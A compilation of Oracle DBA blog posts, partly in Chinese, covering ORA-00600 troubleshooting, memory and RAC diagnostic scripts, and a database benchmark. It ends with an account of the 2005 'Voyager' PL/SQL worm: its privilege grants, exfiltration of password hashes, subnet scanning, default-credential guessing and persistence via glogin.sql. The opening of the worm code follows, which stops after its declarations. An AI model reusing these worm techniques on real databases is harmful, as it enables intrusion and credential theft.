          RX bytes:328381872 (313.1 MiB)  TX bytes:0 (0.0 b)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:4072387189 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4072387189 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:631992143010 (588.5 GiB)  TX bytes:631992143010 (588.5 GiB)

sit0      Link encap:IPv6-in-IPv4
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

[oracle@maclean01 ~]$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 606208
max locked memory       (kbytes, -l) 32
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 10240
cpu time               (seconds, -t) unlimited
max user processes              (-u) 606208
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

ORA-00600: INTERNAL ERROR CODE, ARGUMENTS: [729], [10992], [SPACE LEAK] Example

The customers got  this error every alternative days on Version  9.2.0.7. They did increase the shared pool from 450MB to 704MB. Let’s see the alert.log and the last generated trace file.

SQL> l
1  select  nam.ksppinm NAME,
2  val.KSPPSTVL VALUE
3  from x$ksppi nam,
4  x$ksppsv val
5  where nam.indx = val.indx
6  and  nam.ksppinm like '%shared%'
7* order by 1
SQL> /

NAME                                                              VALUE
----------------------------------------------------------------  ----------
_all_shared_dblinks
_shared_pool_reserved_min_alloc                                   4400
_shared_pool_reserved_pct                                         5
hi_shared_memory_address                                          0
max_shared_servers                                                20
shared_memory_address                                             0
shared_pool_reserved_size                                         31876710
shared_pool_size                                                  738197504
shared_server_sessions                                            0
shared_servers                                                    0

10 rows selected.

SQL>  select FREE_SPACE,LAST_FAILURE_SIZE,REQUEST_FAILURES,LAST_MISS_SIZE  from v$shared_pool_reserved;

FREE_SPACE LAST_FAILURE_SIZE  REQUEST_FAILURES LAST_MISS_SIZE
---------- -----------------  ---------------- --------------
19018368               456               725              0

1 row selected.

Alert log
~~~~~~~~~~
Thu May 28 19:05:11 2009
Errors in file  /u01/app/oracle/admin/preg062/udump/preg062_ora_17314.trc:
ORA-00600:  internal error code, arguments: [729], [10992], [space leak], [], [],  [], [], []

Trace File
~~~~~~~~~~~
Dump file  /u01/app/oracle/admin/preg062/udump/preg062_ora_17314.trc
Oracle9i  Enterprise Edition Release 9.2.0.7.0 - 64bit Production
With the  Partitioning, OLAP and Oracle Data Mining options
JServer Release  9.2.0.7.0 - Production
ORACLE_HOME =  /u01/app/oracle/product/920preg062
System name:	SunOS
Node name:	 iccscorp
Release:	5.9
Version:	Generic_122300-22
Machine:	sun4u
Instance  name: preg062

Error
-----
ORA-00600: internal error code,  arguments: [729], [10992], [space leak], [], [], [], [], []

Current  SQL
-----------
None

Call Stack
----------
ksedmp  kgeriv kgesiv ksesic2 ksmuhe ksmugf ksuxds ksudel opilof opiodr ttcpip  opitsk opiino opiodr opidrv sou2o main start

Session info
------------
SO:  411536570, type: 4, owner: 40e583e08, flag: INIT/-/-/0x00
(session) trans: 0, creator: 40e583e08, flag: (41) USR/- BSY/-/-/DEL/-/-
DID: 0001-00F9-00000F5B, short-term DID:  0000-0000-00000000
txn branch: 0
oct:  0, prv: 0, sql: 417fbbf18, psql: 416fa9840, user: 31/MATRIXTWO
O/S info: user: matrixadmin, term: , ospid: 17281, machine: iccscorp
program: mql@iccscorp (TNS V1-V3)
last wait for  'SQL*Net message from client' blocking sess=0x0 seq=3208 wait_time=836
driver id=54435000, #bytes=1, =0

ORA-04031  details
~~~~~~~~~~~~~
Begin 4031 Diagnostic Information

Allocation  Request
-------------------
Allocation request for: kkslpkp -  literal info.
Heap: 3d6fb45f0, size: 4200

Call stack
-----------
ksm_4031_dump   ksmasg  kghnospc  kghalp  kghsupmm  kghssgai  kkslpkp  kkslpgo  kkepsl   kkecdn  kkotap  kkoiqb  kkooqb  kkoqbc  apakkoqb
apaqbd  apadrv   opitca  kkssbt  kksfbc  kkspfda  kpodny  kpoal8  opiodr  ttcpip  opitsk   opiino  opiodr  opidrv  sou2o  main

Session Info
-------------
SO:  411536570, type: 4, owner: 40e583e08, flag: INIT/-/-/0x00
(session) trans: 0, creator: 40e583e08, flag: (41) USR/- BSY/-/-/-/-/-
DID: 0001-00F9-00000F5B, short-term DID: 0000-0000-00000000
txn branch: 0
oct: 0, prv: 0, sql: 4311e4e30,  psql: 4311e4e30, user: 31/MATRIXTWO
O/S info: user: matrixadmin,  term: , ospid: 17281, machine: iccscorp
program:  mql@iccscorp (TNS V1-V3)
application name: mql@iccscorp (TNS  V1-V3), hash value=0
last wait for 'SQL*Net message from client'  blocking sess=0x0 seq=3196 wait_time=1975
driver  id=54435000, #bytes=1, =0

Number of Subpools and allocations
----------------------------------
===============================
Memory  Utilization of Subpool 1
===============================
Allocation Name          Size
_________________________   __________
"free memory              "    25065216
"miscellaneous             "    14914048

===============================
Memory  Utilization of Subpool 2
===============================
Allocation Name          Size
_________________________   __________
"free memory              "     9306608
"miscellaneous             "    19358000

===============================
Memory  Utilization of Subpool 3
===============================
Allocation Name          Size
_________________________   __________
"free memory              "    25209192
"miscellaneous             "    10192440

===============================
Memory  Utilization of Subpool 4
===============================
Allocation Name          Size
_________________________   __________
"free memory              "    15005800
"miscellaneous             "    11097176

LIBRARY CACHE STATISTICS:
namespace            gets hit ratio      pins hit ratio    reloads   invalids
--------------  --------- --------- --------- --------- ---------- ----------
CRSR            400143894     0.951 1821611655     0.969   10619950      63892
TABL/PRCD/TYPE  230543353     0.996 255666572     0.934    7504796          0

Connection  Mode & Relevant parameters
--------------------------------------
sga_max_size       = 3159332528
shared_pool_size =  738197504
db_cache_size       =  956301312
cursor_sharing      = SIMILAR
pga_aggregate_target  = 2097152000

It seems the ORA-04031 is the main issue, which triggered the ORA-00600 [729] error, after the session got abnormally terminated or killed.

Memory request failed on “shared pool” while trying to allocate 4200 bytes even though you have 9 to 25 mb of free space in 4 subpools.

I have reviewed the alert, trace and RDA report and following are my findings.

# Shared_pool_size is 738197504 and 4 subpools are used.
# Memory request failed for 4200 bytes.
# None of the components in subpools are showing any abnormal growth.

Suggestion
—————-
Issue is not exactly matching with any known bugs. Modifying the memory related parameters will help to avoid these errors.

1) Reduce the number of subpools to 2 from 4, by setting “_kghdsidx_count”=2 and restart the database. This will also help to reduce the shared pool fragmentation. Refer Note 396940.1

SQL> alter system set “_kghdsidx_count”=2 scope=spfile;

2) I have checked the memory request failure which is showing the size of 4200 bytes plus.
Set the _shared_pool_reserved_min_alloc=4000 which will help to allocate memory in reserved area, if the request is greater than 4000 bytes.

alter system set “_shared_pool_reserved_min_alloc”=4000 scope=spfile;

3) Set the shared_pool_reserved_size to 10 to 15 % of the shared pool size, by setting _shared_pool_reserved_pct parameter.

SQL> alter system set “_shared_pool_reserved_pct”=10 scope=spfile;

Implement the above changes and restart the database. This will help to avoid the shared pool fragmentation and helps to avoid the ORA-04031/ORA-00600 [729] errors.

After applying above change ,the error has not occured  again.

Script To Monitor RDBMS Session UGA and PGA Current And Maximum Usage Over Time

Script

set echo off;
set feedback off;
set heading off;
set linesize 128;
set show off;
set pagesize 55;
set trimspool on;
set verify off;
column "SID AND SERIAL#" FORMAT A19
col SNAP_COLUMN new_value SNAP_TIME
col SNAP_EOF_NAME new_value EOF_NAME
col SNAP_HOST_NAME new_value THE_HOST_NAME
col SNAP_INSTANCE_NAME new_value THE_NAME_OF_THE_INSTANCE
col SNAP_RDBMS_VERSION new_value THE_RDBMS_VERSION
set term off;
select to_char(sysdate,'YYYYMMDD_HH24MISS') "SNAP_COLUMN" from dual;
select trim(host_name) "SNAP_HOST_NAME" from v$instance;
select trim(instance_name) "SNAP_INSTANCE_NAME" from v$instance;
select trim(version) "SNAP_RDBMS_VERSION" from v$instance;
select '&THE_NAME_OF_THE_INSTANCE'||'_'||'&SNAP_TIME'||'.LST' "SNAP_EOF_NAME" from dual;
drop table maxpgauga;
create table maxpgauga as select s.sid,
s2.serial#,
n.name,
s.value,
decode(s2.username,null,s2.program,s2.username) "USERNAME",
s2.logon_time
from   v$statname n,
v$sesstat s,
v$session s2
where  n.statistic# = s.statistic# and
(s.sid = s2.sid) and
name like 'session%memory max%';
drop table curpgauga;
create table curpgauga as select s.sid,
s2.serial#,
n.name,
s.value,
decode(s2.username,null,s2.program,s2.username) "USERNAME",
s2.logon_time
from   v$statname n,
v$sesstat s,
v$session s2
where  n.statistic# = s.statistic# and
(s.sid = s2.sid) and
name like 'session%memory' and
name not like 'session%memory max%';
set term on;

spool ORACLE_MEMORY_USAGE_SNAPSHOT_&EOF_NAME

select ‘Oracle Memory Usage Report: PGA And UGA Memory Usage Per Session’ from dual;
select ‘Host……..: ‘||’&THE_HOST_NAME’ from dual;
select ‘Name……..: ‘||’&THE_NAME_OF_THE_INSTANCE’ from dual;
select ‘Version…..: ‘||’&THE_RDBMS_VERSION’ from dual;
select ‘Startup Time: ‘||to_char(min(logon_time),’YYYY-MM-DD HH24:MI:SS’) from curpgauga;
select ‘Current Time: ‘||to_char(sysdate,’YYYY.MM.DD-HH24:MI:SS’) from dual;
select ‘Worst possible value of concurrent PGA + UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
sum(value),
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     maxpgauga
group by sid,
serial#,
username,
logon_time
order by sum(value) desc;
set heading off
select ‘Worst possible total and average values of concurrent PGA + UGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||trunc(count(*)/2)||’ sessions.’ from maxpgauga;
select ‘Approximate value of current PGA + UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
sum(value),
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     curpgauga
group by sid,
serial#,
username,
logon_time
order by sum(value) desc;
set heading off
select ‘Current total and average values of concurrent PGA + UGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||trunc(count(*)/2)||’ sessions.’ from curpgauga;
select ‘Maximum value of PGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     maxpgauga
where    name like ‘session pga memory max%’
order by value desc, sid desc;
set heading off
select ‘Worst possible total and average values of concurrent PGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from maxpgauga where name like ‘session pga memory max%’;
select ‘Maximum value of UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     maxpgauga
where    name like ‘session uga memory max%’
order by value desc, sid desc;
set heading off
select ‘Worst possible total and average values of concurrent UGA memory usage:’  from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from maxpgauga where name like ‘session uga memory max%’;
select ‘Current value of PGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     curpgauga
where    name like ‘session pga memory%’
order by value desc, sid desc;
set heading off
select ‘Current total and average values of concurrent PGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from curpgauga where name like ‘session pga memory%’;
select ‘Current value of UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     curpgauga
where    name like ‘session uga memory%’
order by value desc, sid desc;
set heading off
select ‘Current total and average values of concurrent UGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from curpgauga where name like ‘session uga memory%’;
select ‘Current SGA structure sizings:’ from dual;
show sga
select ‘Some initialization parameter values at instance startup:’ from dual;
select trim(name)||’=’||value
from v$parameter
where name in (‘__shared_pool_size’,
‘large_pool_size’,
‘pga_aggregate_target’,
‘sga_target’,
‘shared_pool_size’,
‘sort_area_size’,
‘streams_pool_size’) order by name;
select ‘Current Time: ‘||TO_CHAR(sysdate,’YYYY.MM.DD-HH24:MI:SS’) from dual;
spool off
set feedback on;
set heading on;
set linesize 80;
set pagesize 14;
set verify on;
set echo on;

Oracle Memory Usage Report: PGA And UGA Memory Usage Per Session

 

Script:收集RAC性能诊断信息

以下脚本可以用于收集RAC性能诊断信息:


spool rac_diag.log

SELECT B1.INST_ID,
       B2.VALUE blocks,
       Round(B1.VALUE / 100) total_time,
       round((B1.VALUE / B2.VALUE) * 10, 2) avg_time
  FROM GV$SYSSTAT B1, GV$SYSSTAT B2
 WHERE B1.NAME = 'gc cr block receive time'
   AND B2.NAME = 'gc cr blocks received'
   AND B1.INST_ID = B2.INST_ID
   AND B2.VALUE > 0
 Order by 1
/

select v.banner, i.instance_name
  from gv$version v, gv$instance i
 where v.inst_id = i.inst_id
   and v.banner in
       (select banner
          from (select banner, count(*) cnt from gv$version group by banner)
         where cnt <> 2)
 order by 1, 2
/

SELECT INST_ID,
       SND_Q_LEN,
       SND_Q_MAX,
       SND_Q_TOT,
       TCKT_AVAIL,
       TCKT_LIMIT,
       TCKT_RCVD,
       TCKT_WAIT
  FROM GV$DLM_TRAFFIC_CONTROLLER
 WHERE (SND_Q_LEN > 0)
    OR ((TCKT_LIMIT - TCKT_AVAIL) >= (TCKT_LIMIT * 0.6))
    OR TCKT_WAIT = 'YES'
/


SELECT A1.INST_ID,
       A1.VALUE blocks_lost,
       A2.VALUE blocks_corrupt
FROM   GV$SYSSTAT A1,
       GV$SYSSTAT A2
WHERE  A1.NAME = 'gc blocks lost'
AND    A2.NAME = 'gc blocks corrupt'
AND    A1.INST_ID = A2.INST_ID
AND    (a1.value > 0 or a2.value > 0)
/


select *
  from (SELECT INST_ID,
               OWNER#,
               NAME,
               KIND,
               FILE#,
               SUM(FORCED_READS) READS,
               SUM(FORCED_WRITES) WRITES,
               MAX(XNC) XNC
          FROM GV$CACHE_TRANSFER
         GROUP BY INST_ID, OWNER#, NAME, KIND, FILE#
         ORDER BY 8 DESC)
 where rownum <= 10
/


select o.parameter, o.value, i.instance_name
  from gv$option o, gv$instance i
 where o.inst_id = i.inst_id
   and o.Parameter in (select Parameter
                         from (select Parameter, value, count(*) cnt
                                 from gv$option
                                group by Parameter, value)
                        where cnt <> 2)
 order by 1, 2
/

select p.name, p.value, i.instance_name
  from gv$parameter p, gv$instance i
 where p.inst_id = i.inst_id
   and p.name in (select name
                    from (select name, value, count(*) cnt
                            from gv$parameter
                           where name in ('archive_lag_target',
                                          'control_management_pack_access',
                                          'diagnostic_dest',
                                          'redo_transport_user',
                                          'trace_enabled',
                                          'license_max_users',
                                          'log_archive_format',
                                          'spfile',
                                          'undo_retention')
                           group by name, value)
                   where cnt <> 2)
 order by 1, 2
 /
 
 
select p.name, p.value, i.instance_name
  from gv$parameter p, gv$instance i
 where p.inst_id = i.inst_id
   and p.name in (select name
                    from (select name, value, count(*) cnt
                            from gv$parameter
                           where name in ('active_instance_count',
                                          'cluster_database',
                                          'cluster_database_instances',
                                          'compatible',
                                          'control_files',
                                          'db_block_size',
                                          'db_domain',
                                          'db_files',
                                          'db_name',
                                          'db_recovery_file_dest',
                                          'db_recovery_file_dest_size',
                                          'db_unique_name',
                                          'instance_type',
                                          'max_parallel_servers',
                                          'parallel_execution_message_size',
                                          'dml_locks',
                                          'remote_login_passwordfile',
                                          'result_cache_max_size',
                                          'undo_management')
                             and not ((name = 'dml_locks') and (value = '0'))
                           group by name, value)
                   where cnt <> 2)
 order by 1, 2
/
 
 
select p.name, p.value, i.instance_name
  from gv$parameter p, gv$instance i
 where p.inst_id = i.inst_id
   and p.name in
       (select name
          from (select name, value, count(*) cnt
                  from gv$parameter
                 where name in ('instance_name',
                                'instance_number',
                                'thread',
                                'rollback_segments',
                                'undo_tablespace')
                   and not ((name = 'rollback_segments') and (value = null))
                   and not ((name = 'instance_name') and (value = null))
                 group by name, value)
         where cnt <> 1)
 order by 1, 2
/

select s.inst_id,
       s.blocks_served,
       Round(1000000 * s.pin_time / s.blocks_served) / 1000 avg_pin_time,
       Round(1000000 * s.flush_time / s.blocks_served) / 1000 avg_flush_time,
       Round(1000000 * s.send_time / s.blocks_served) / 1000 avg_send_time,
       Round((1000000 * (s.pin_time + s.flush_time + s.send_time)) /
             s.blocks_served) / 1000 avg_service_time
  from (select inst_id,
               sum(decode(name, 'gc current block pin time', value, 0)) pin_time,
               sum(decode(name, 'gc current block pin flush', value, 0)) flush_time,
               sum(decode(name, 'gc current block pin send', value, 0)) send_time,
               sum(decode(name, 'gc current block blocks served', value, 0)) blocks_served
          from gv$sysstat
         where name in ('gc current block pin time',
                        'gc current block pin flush',
                        'gc current block pin send',
                        'gc current block blocks served')
         group by inst_id) s
 where s.blocks_served > 0
/

spool off

Performance: PostgreSQL VS SQLSERVER

最近(2010 March) redhat公司release了一份对PostgreSQL和SQLSERVER的性能检测报告,使用相同的HP ProLiant DL370 G6(Intel Xeon W5580)主机,操作系统是Redhat Enterprise Linux 5:Windows Server 2008 Enterprise;PostgreSQL 部分参数进行了优化,包括checkpoint_timeout,effective_cache_size等,值得注意的是关掉了自动vacuum(autovacuum=false).测试结果是PostgreSQL略有优势,见图:

点击浏览性能报告.

ORA-00600 [4400][48]错误一例

5月26日某客户告警日志中出现的ORA-00600 [4400],[48]错误记录,并产生了trace文件:,

*** SERVICE NAME:(ETL) 2010-05-26 16:45:45.930
*** SESSION ID:(262.12024) 2010-05-26 16:45:45.930
*** 2010-05-26 16:45:45.930
ksedmp: internal or fatal error
ORA-00600: internal error code, arguments: [4400], [48], [], [], [], [], [], []
ORA-10387: parallel query server interrupt (normal)
----- Call Stack Trace -----
calling              call     entry                argument values in hex
location             type     point                (? means dubious value)
-------------------- -------- -------------------- ----------------------------
ksedst+001c          bl       ksedst1              0FFFFFFFF ? 000000020 ?
ksedmp+0290          bl       ksedst               1048DFFC0 ?
ksfdmp+0018          bl       03F5B014
kgeriv+0108          bl       _ptrgl
kgeasi+0118          bl       kgeriv               10496FEC8 ? 000000002 ?
                                                   700000010008000 ? 110000AD0 ?
                                                   110190290 ?
ktcddt+012c          bl       kgeasi               110190110 ? 110450040 ?
                                                   113000001130 ? 200000002 ?
                                                   100000001 ? 000000000 ?
                                                   000000030 ? 000000013 ?
ktcsod+0384          bl       ktcddt               0000003C0 ? 000000018 ?
                                                   1048D4808 ?
kssdch_stage+0758    bl       _ptrgl
....................................................
----- End of Call Stack Trace -----
******************* Dumping process map ****************
377144 : ora_p001_ETL
100000000      93710K  read/exec         oracle
1100007ef       2372K  read/write        oracle
9fffffff0000000        44K  read/exec         /usr/ccs/bin/usla64
9fffffff000b30a         0K  read/write        /usr/ccs/bin/usla64
900000000375880       484K  read/exec         /usr/lib/liblvm.a[shr_64.o]
9001000a0121ac8       135K  read/write        /usr/lib/liblvm.a[shr_64.o]
900000000426180        74K  read/exec         /usr/lib/libcfg.a[shr_64.o]
9001000a00f5ed0        26K  read/write        /usr/lib/libcfg.a[shr_64.o]
90000000034e280         2K  read/exec         /usr/lib/libcrypt.a[shr_64.o]
9001000a00d4760         0K  read/write        /usr/lib/libcrypt.a[shr_64.o]
90000000069a7b0         4K  read/exec         /usr/lib/libc.a[aio_64.o]
9001000a022a340         0K  read/write        /usr/lib/libc.a[aio_64.o]
90000000035f300        85K  read/exec         /usr/lib/libodm.a[shr_64.o]
9001000a00d5c08        35K  read/write        /usr/lib/libodm.a[shr_64.o]
9000000003ef080        83K  read/exec         /usr/lib/libperfstat.a[shr_64.o]
9001000a01d0818         9K  read/write        /usr/lib/libperfstat.a[shr_64.o]
900000000358000         0K  read/exec         /usr/lib/libdl.a[shr_64.o]
9001000a0219000         0K  read/write        /usr/lib/libdl.a[shr_64.o]
9000000007ff100      8588K  read/exec         /oracle/product/10.2.0/lib/libjox10.a[shr.o]
8001000a0000038       585K  read/write        /oracle/product/10.2.0/lib/libjox10.a[shr.o]
9000000004a0000       228K  read/exec         /usr/lib/libpthreads.a[shr_xpg5_64.o]
9001000a0144000       558K  read/write        /usr/lib/libpthreads.a[shr_xpg5_64.o]
900000000045500      2966K  read/exec         /usr/lib/libc.a[shr_64.o]
9001000a0000788       844K  read/write        /usr/lib/libc.a[shr_64.o]
   Total      110843K
******************* End of process map dump ****************
===================================================
PROCESS STATE
-------------
Process global information:
     process: 7000000cf48bf98, call: 7000000b40ebdf0, xact: 7000000cdece7a8, curses: 7000000cf666540, usrses: 7000000cf666540
  ----------------------------------------
  SO: 7000000cf48bf98, type: 2, owner: 0, flag: INIT/-/-/0x00
  (process) Oracle pid=43, calls cur/top: 7000000b40ebdf0/7000000b40ebdf0, flag: (0) -
            int error: 0, call error: 0, sess error: 0, txn error 0
  (post info) last post received: 115 0 4
              last post received-location: kslpsr
              last process to post me: 7000000cf479c38 1 6
              last post sent: 0 0 251
              last post sent-location: kxfpqr: QC
              last process posted by me: 7000000cf48a7f8 10 0
    (latch info) wait_event=0 bits=0
    Process Group: DEFAULT, pseudo proc: 7000000cf50bd50
    O/S info: user: oracle, term: UNKNOWN, ospid: 377144
    OSD pid info: Unix process pid: 377144, image: oracle@etl_a (P001)
   SO: 7000000cf666540, type: 4, owner: 7000000cf48bf98, flag: INIT/-/-/0x00
    (session) sid: 262 trans: 7000000cdece7a8, creator: 7000000cf48bf98, flag: (c0100041) USR/- BSY/-/-/DEL/-/-
              DID: 0001-0028-000FFB1E, short-term DID: 0001-002B-00151DA1
              txn branch: 7000000cdf412c8
              oct: 0, prv: 0, sql: 0, psql: 0, user: 26/ETL
    O/S info: user: bo, term: pts/0, ospid: 377144, machine: etl_a
              program: oracle@etl_a (P001)
    last wait for 'SQL*Net message from dblink' blocking sess=0x0 seq=45 wait_time=476 seconds since wait started=0
                driver id=0, #bytes=1, =0
    Dumping Session Wait History
     for 'SQL*Net message from dblink' count=1 wait_time=476
                driver id=0, #bytes=1, =0
     for 'SQL*Net message to dblink' count=1 wait_time=1
                driver id=0, #bytes=1, =0
     for 'log file sync' count=1 wait_time=7483
                buffer#=ca9, =0, =0
     for 'log file sync' count=1 wait_time=358
                buffer#=ca9, =0, =0
     for 'PX Deq: Execution Msg' count=1 wait_time=15527
                sleeptime/senderid=1001ffff, passes=1, =0
     for 'log file sync' count=1 wait_time=11855
                buffer#=c57, =0, =0
     for 'PX Deq: Execution Msg' count=1 wait_time=277142
                sleeptime/senderid=1001ffff, passes=1, =0
     for 'direct path write' count=1 wait_time=25
                file number=5, first dba=103ca, block cnt=3
     for 'direct path write' count=1 wait_time=6
                file number=4, first dba=1abe1, block cnt=8
     for 'row cache lock' count=1 wait_time=3307
                cache id=5, mode=0, request=5
    temporary object counter: 0
      ----------------------------------------
      Virtual Thread:
      kgskvt: 7000000c0e86b58, sess: 7000000cf666540, vc: 0, proc: 7000000cf48bf98
      consumer group cur: OTHER_GROUPS (upd? 0), mapped: DEFAULT_CONSUMER_GROUP, orig:
      vt_state: 0x200, vt_flags: 0x30, blkrun: 0
      is_assigned: 1, in_sched: 0 (0)
      vt_active: 0 (pending: 0)
      used quanta: 0 (cg: 0)
      cpu start time: 0, quantum status: 0x0
      quantum checks to skip: 0, check thresh: 0
      idle time: 0, active time: 0 (cg: 0)
      cpu yields: 0 (cg: 0), waits: 0 (cg: 0), wait time: 0 (cg: 0)
      queued time outs: 0, time: 0 (cur 0, cg 0)
      calls aborted: 0, num est exec limit hit: 0
      undo current: 0k max: 0k
      ----------------------------------------
      UOL used : 0 locks(used=0, free=2)
      KGX Atomic Operation Log 7000000bdcf0568
       Mutex 0(0, 0) idn 0 oper NONE
       Cursor Parent uid 262 efd 9 whr 11 slp 0
       oper=NONE pt1=7000000c69d0878 pt2=7000000bef37090 pt3=7000000b47119c8
       pt4=0 u41=1 stt=0
      KGX Atomic Operation Log 7000000bdcf05b0
       Mutex 7000000bdc2d028(0, 2) idn 0 oper NONE
       Cursor Stat uid 262 efd 12 whr 1 slp 0
       oper=NONE pt1=7000000bdc2cef8 pt2=0 pt3=0
       pt4=0 u41=0 stt=0
      KGX Atomic Operation Log 7000000bdcf05f8
       Mutex 0(0, 0) idn 0 oper NONE
       Library Cache uid 262 efd 0 whr 0 slp 0
      ----------------------------------------
      SO: 7000000cf7e3ec8, type: 5, owner: 7000000cf666540, flag: INIT/-/-/0x00
      (enqueue) DX-00000010-00000000	DID: 0001-002B-00151DA9
      lv: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  res_flag: 0x2
      res: 0x7000000cf8bd0b8, mode: X, lock_flag: 0x0
      own: 0x7000000cf666540, sess: 0x7000000cf666540, proc: 0x7000000cf48bf98, prv: 0x7000000cf8bd0c8

从trace文件名就可以看出出错的是某个并行子进程,其最近调用堆栈为ktcsod->ktcddt->kgeasi(报错),ktcsod与ktcddt均为Oracle中内核事务控制模块函数 (Kernel Transaction Control),又该并行子进程最近等待为”SQL*Net message from dblink”事件,共等待476s(wait_time=476 seconds)。trace显示该并行会话包含分布式事务锁:

      SO: 7000000cf7e3ec8, type: 5, owner: 7000000cf666540, flag: INIT/-/-/0x00
      (enqueue) DX-00000010-00000000	DID: 0001-002B-00151DA9
      lv: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  res_flag: 0x2
      res: 0x7000000cf8bd0b8, mode: X, lock_flag: 0x0
      own: 0x7000000cf666540, sess: 0x7000000cf666540, proc: 0x7000000cf48bf98, prv: 0x7000000cf8bd0c8

即DX(Distributed transaction entry)锁;可以猜测该并行会话在等待远程事务被清理,但等待超时,故报错。

查询metalink可以发现Bug 5223587与该错误一致,该Bug的特征为:
1. 出现ORA-600[4400],且调用栈为ktcddt ,说明涉及到了分布式事务
2. trace显示当时无打开的游标
3. 可以看到当时的等待为’SQL*Net message from dblink’事件
Metalink文档[ID  444108.1]描 述该错误会在涉及远程数据库的并行DML操作中出现,但该错误仅会在清理阶段出现,故实际无影响(It is not critical as such, since it is happening during the cleanup of the operation.)。

该Bug可以通过实施Patch 5223587修复, 目前该补丁只有对应基础版本10.2.0.2和10.2.0.3的版本,该补丁在 10.2.0.3 上有AIX power(64 bit)和Solaris Sparc(64 bit)的版本,10.2.0.2上只有linux-64 与HP-UX的版本。因为该Bug一般不会产生不良影响,故实际上不建议应用补丁。

Oracle Voyager Worm 一段匿名块SQL蠕虫

2005年12-20日(很久以前)一位匿名用户在邮件列表中发布了一段匿名块的SQL蠕虫病毒,这可能是人们第一次意识到PL/SQL也能用来写病毒。很多专家都对该段程序进行了分析,其主要破坏行为如下:

1.将DBA权限授予public角色

2.删除名为aa的trigger

3.创建名为aa的数据库登陆后(after database logon)触发器,该触发器还包含了使用UTL_TCP包(前提是病毒所在实例可能链接到外网)获取来自于http://www.google.de/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%27m+Feeling+Lucky的疑似病毒信息,google已经将该地址屏蔽了

4.通过smtp01.us.oracle.com邮件发送服务器发送标题为(Password hashes)包含数据库密码哈希值的邮件至 larry@oracle.com(可能是Oracle老总larry ellison 邮箱地址)

5.扫描实例所在主机子网中的所有ip,之后会尝试使用随机ip.修改listener.log,并且将”alter user mdsys identified by mdsys”添加至glogin.sql,每次使用SQLPLUS时均会执行该SQL.

6.创建可能的数据库连接(DBLINK),并尝试猜测密码组合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等较为常见的组合。

7.尝试关闭listener

这是一种尝试,首先向我们证明了PL/SQL也具备编写病毒程序的能力;其次Oracle可能并不如我们想象的那么安全。

有兴趣可以瞻仰一下这段代码,oracle worm voyager.

--##s
tartc0GtJBi1
DECLARE

i1 INTEGER;
i2 INTEGER;
i6 INTEGER;

iHostToSearchFor INTEGER;

reference_ip varchar2(1000);
reference_url varchar2(1000);

starting_ipaddress varchar2(100);
current_ipaddress VARCHAR2(100);
current_network VARCHAR2(100);
current_letter VARCHAR2(1);

c   UTL_TCP.CONNECTION;
c1   UTL_TCP.CONNECTION;
ln integer;

vLen NUMBER;

PreviousSID varchar2(100);

vWorking varchar2(2500);
vWorking1 varchar2(2500);
vRequest varchar2(500);
vRequestStop varchar2(500);
vReqLog raw(500);
vRequestSQLCommand raw(32000);
vResp varchar2(32767);
vRespPiece varchar2(200);
vRespTemp varchar2(200);
ret_val pls_integer;
oraclehome varchar2(1000);
vRefresh varchar2(2000);
